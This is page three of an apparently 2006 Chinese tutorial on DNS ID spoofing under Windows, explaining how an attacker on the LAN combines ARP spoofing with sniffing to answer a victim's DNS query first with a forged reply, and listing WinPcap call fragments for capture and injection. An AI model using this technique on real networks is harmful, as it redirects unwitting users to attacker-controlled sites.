WEB开发网
开发学院网络安全黑客技术 Windows下DNS ID欺骗实现与原理 阅读

Windows下DNS ID欺骗实现与原理

 2006-11-05 20:34:55 来源:WEB开发网   
核心提示: 在监视网关和客户端主机之间的数据报时,如果发现了客户端发送的DNS查询数据报(目的端口为53),Windows下DNS ID欺骗实现与原理(3),那么我们可以提前将自己构造的DNS响应数据报发送到客户端,注意,测试环境:Windows2000 + VC6.0 + Winpcap_3.0_a

在监视网关和客户端主机之间的数据报时,如果发现了客户端发送的DNS查询数据报(目的端口为53),那么我们可以提前将自己构造的DNS响应数据报发送到客户端。注意,我们必须提取有客户端发送来的DNS查询数据报的ID信息,因为客户端是通过它来进行匹配认证的,这就是一个我们可以利用的DNS漏洞。这样客户端会先收到我们发送的DNS响应数据报并访问我们自定义的网站,虽然客户端也会收到DNS服务器的响应报文,不过已经来不及了,哈哈。

三.核心代码分析

主程序创建两个线程,一个线程进行实时的ARP欺骗,另一个线程监听接收到的数据报,若发现有域名服务查询数据报,则立即向客户端发送自定义的DSN响应数据报。测试环境:Windows2000 + VC6.0 + Winpcap_3.0_alpha,注册表:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersIPEnableRouter = 0x1。

1.sniff线程:

PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);

//将网卡设置为混杂模式

PacketSetBuff(lpadapter,500*1024);

//设置网络适配器的内核缓存;

PacketSetReadTimeout(lpadapter,1);

//设置等待时间;

PacketReceivePacket(lpadapter,lppacketr,TRUE);

//接收网络数据报;

checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));

//计算校验和;

PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));

//初始化一个_PACKET结构,发送DNS响应数据报;

上一页  1 2 3 4 5  下一页

Tags:Windows DNS ID

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接